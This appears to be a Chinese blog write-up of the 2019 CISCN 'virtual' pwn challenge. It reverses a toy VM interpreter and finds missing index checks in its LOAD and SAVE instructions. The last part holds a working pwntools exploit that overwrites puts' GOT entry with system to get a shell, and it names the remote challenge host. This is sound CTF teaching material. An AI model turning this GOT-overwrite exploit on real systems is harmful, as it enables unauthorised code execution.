vmpwn学习-2019CISCN-pwn-virtual


vmpwn解释器认识

虚拟机定义的时候会定义一个全局变量的枚举类型,里面存放指令

题目分析

总体结构

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *exec_name; // [rsp+18h] [rbp-28h]
  section_info *stack_addr; // [rsp+20h] [rbp-20h]
  section_info *text_addr; // [rsp+28h] [rbp-18h]
  void **data_addr; // [rsp+30h] [rbp-10h]
  char *ptr; // [rsp+38h] [rbp-8h]

  do_init();
  exec_name = (char *)malloc(0x20uLL);
  stack_addr = sub_4013B4(64);                  // stack段大小为64 malloc(64*8)
  text_addr = sub_4013B4(128);
  data_addr = (void **)sub_4013B4(64);
  ptr = (char *)malloc(0x400uLL);
  puts("Your program name:");
  my_read_((__int64)exec_name, 0x20u);          // 项目名字

  puts("Your instruction:");
  my_read_((__int64)ptr, 0x400u);               // 指令
  StoreOpcode(text_addr, ptr);                  // 解析指令

  puts("Your stack data:");
  my_read_((__int64)ptr, 0x400u);               // 存入栈数据
  StroeStack(stack_addr, ptr);                  // 解析栈数据

  if ( (unsigned int)run((__int64)text_addr) )  // 运行指令
  {
    puts("-------");
    puts(exec_name);
    puts_stack(stack_addr);
    puts("-------");
  }
  else
  {
    puts("Your Program Crash :)");
  }
  free(ptr);                                    // 回收空间
  my_free((void **)text_addr);
  my_free((void **)stack_addr);
  my_free(data_addr);
  return 0LL;
}

虚拟机执行流程

创建段结构

创建一个包含段信息的结构,真正的段内容在结构指向的指针里,段的信息包含段指针,大小和一个表示数量的字段

section_info *__fastcall sub_4013B4(int size)
{
  section_info *result; // rax
  section_info *ptr; // [rsp+10h] [rbp-10h]
  void *s; // [rsp+18h] [rbp-8h]

  ptr = (section_info *)malloc(0x10uLL);        // 申请空间存放段的信息,每个段一个
  if ( !ptr )
    return 0LL;
  s = malloc(8LL * size);
  if ( s )
  {
    memset(s, 0, 8LL * size);                   // 段信息包含,段指针,大小,和numb
    ptr->section_ptr = (__int64)s;
    ptr->size = size;
    ptr->numb = -1;
    result = ptr;
  }
  else
  {
    free(ptr);
    result = 0LL;
  }
  return result;
}

指令处理

把从输入获取到的指令存入相应的段

实现了把输入的字符串转化为对应的汇编指令。

按照\n\r\t把输入数据分割成一个一个指令,然后把指令字符串转化为对应汇编字节码存到数组里,然后存入text段,存进去的顺序是先进来的在高地址处

void __fastcall StoreOpcode(section_info *text, char *src)
{
  int idx; // [rsp+18h] [rbp-18h]
  int i; // [rsp+1Ch] [rbp-14h]
  const char *s1; // [rsp+20h] [rbp-10h]
  _QWORD *ptr; // [rsp+28h] [rbp-8h]

  if ( text )
  {
    ptr = malloc(8LL * text->size);
    idx = 0;                                    // idx为size的时候结束
    for ( s1 = strtok(src, delim); idx < text->size && s1; s1 = strtok(0LL, delim) )// delim分隔符为\n\r\t
    {
      if ( !strcmp(s1, "push") )
      {
        ptr[idx] = PUSH;
      }
      else if ( !strcmp(s1, "pop") )
      {
        ptr[idx] = POP;
      }
      else if ( !strcmp(s1, "add") )
      {
        ptr[idx] = ADD;
      }
      else if ( !strcmp(s1, "sub") )
      {
        ptr[idx] = SUB;
      }
      else if ( !strcmp(s1, "mul") )
      {
        ptr[idx] = MUL;
      }
      else if ( !strcmp(s1, "div") )
      {
        ptr[idx] = DIV;
      }
      else if ( !strcmp(s1, "load") )
      {
        ptr[idx] = LOAD;
      }
      else if ( !strcmp(s1, "save") )
      {
        ptr[idx] = SAVE;
      }
      else
      {
        ptr[idx] = 255LL;
      }
      ++idx;
    }
    for ( i = idx - 1; i >= 0 && (unsigned int)StoreInSection(text, ptr[i]); --i )// 最先输入的指令保存在最后面
      ;
    free(ptr);
  }
}

解析栈数据

void __fastcall StroeStack(section_info *stack_addr, char *a2)
{
  int idx; // [rsp+18h] [rbp-28h]
  int i; // [rsp+1Ch] [rbp-24h]
  const char *nptr; // [rsp+20h] [rbp-20h]
  _QWORD *ptr; // [rsp+28h] [rbp-18h]

  if ( stack_addr )
  {
    ptr = malloc(8LL * stack_addr->size);
    idx = 0;
    for ( nptr = strtok(a2, delim); idx < stack_addr->size && nptr; nptr = strtok(0LL, delim) )
      ptr[idx++] = atol(nptr);                  // 输入字符串转化为int存放到列表
    for ( i = idx - 1; i >= 0 && (unsigned int)StoreInSection(stack_addr, ptr[i]); --i )// 跟text一样,先输入的存放在高地址处
      ;
    free(ptr);
  }
}

run函数

包含了对汇编指令的实现,对上面字节码的处理是先进先出

run函数

  • do_PUSH函数从栈的尾部读出来数据然后放入data段的尾部
  • do_POP函数从data段的尾部读出数据放入stack段尾部
  • do_ADD从data尾部读出数据a1,a2相加结果放到data尾部
  • do_SUB从data尾部顺序读出a1,a2 a1-a2结果放到data尾部
  • do_LOAD data.append(data[num+data[-1]]) 从最后一位取出来索引,然后把找到的数据放回最后一位
  • do_SAVE data[data[-1]+num]=data[-2] 从data尾部取出索引,倒数第二个取出数据

在 do_LOAD和do_SAVE 没有对索引的检查导致溢出

payload分析

push push save push load push add push save
data_addr,-3,-13 ,one ,-13

执行完2次push之后

数据的存放

此时的内存结构为

data结构

  • data_ptr地址为0x17c38f0,其中0xffffffff为-1表示numb
  • 0x17c3910为data_section_ptr

此时执行save会取出来-3作为索引,data_addr作为数据,即实际作用为data_section_ptr[-1-3]=data_addr

接下来的push会向data_addr指向的内容写入-13

整个流程图

分析

整个过程从传统的输出到显示器对显示器进行操作变成了输出到内存,对内存进行操作,泄露到显示器也变成了泄漏到内存。只要内存中两处数据存在加法或减法运算就能直接用内存计算得出来真实地址。

关注漏洞:索引越界,每次向内存中存取数据都要有对索引的检查

段信息的结构体

段的信息结构体

需要修改section_ptr指针,save到指定地址处写数据,相对于section_ptr指针的偏移是固定的,可以修改它用save修改它

需要得到libc的基地址,可以用load加载got表项,用add计算出来system函数实际的地址

用save把system函数的地址覆盖puts函数的got表项

exp

#coding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)

debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x121c)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one=[0x4f3d5,0x4f432,0x10a41c]

else:
    p = remote('47.111.104.169', 57404)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

def debug_1(addr,PIE=False):
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)
    else:
        for i in addr:
            text_base=0
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)

p.sendlineafter("Your program name:\n","/bin/sh\x00")

debug_1([0x000000000401D55])
inst="push push save push load push add push save"
p.sendlineafter("our instruction:\n",inst)
#-5得到malloc函数的got
one_offset=-libc.symbols["malloc"]+libc.symbols["system"]
stack=[0x000000000404088,-3,-5,one_offset,-12]
payload=""
for i in stack:
    payload+=str(i)+" "
p.sendlineafter("stack data:\n",payload)


p.interactive()

评论
 上一篇
粤湾银行 (vm2) 粤湾银行 (vm2)
结构分析ptr指针的结构 _DWORD *sub_8049570() { _DWORD *v0; // eax _DWORD *v1; // ST1C_4 v0 = malloc(0x2Cu); v1 = v0; *v
2020-11-14
下一篇 
ctf脚本技巧 ctf脚本技巧
初始化脚本的开始 #coding=utf-8 from pwn import * file_path = "./RHVM.bin" context.arch = "amd64" context.log_level = "debug" # c
2020-11-10 九层台
  目录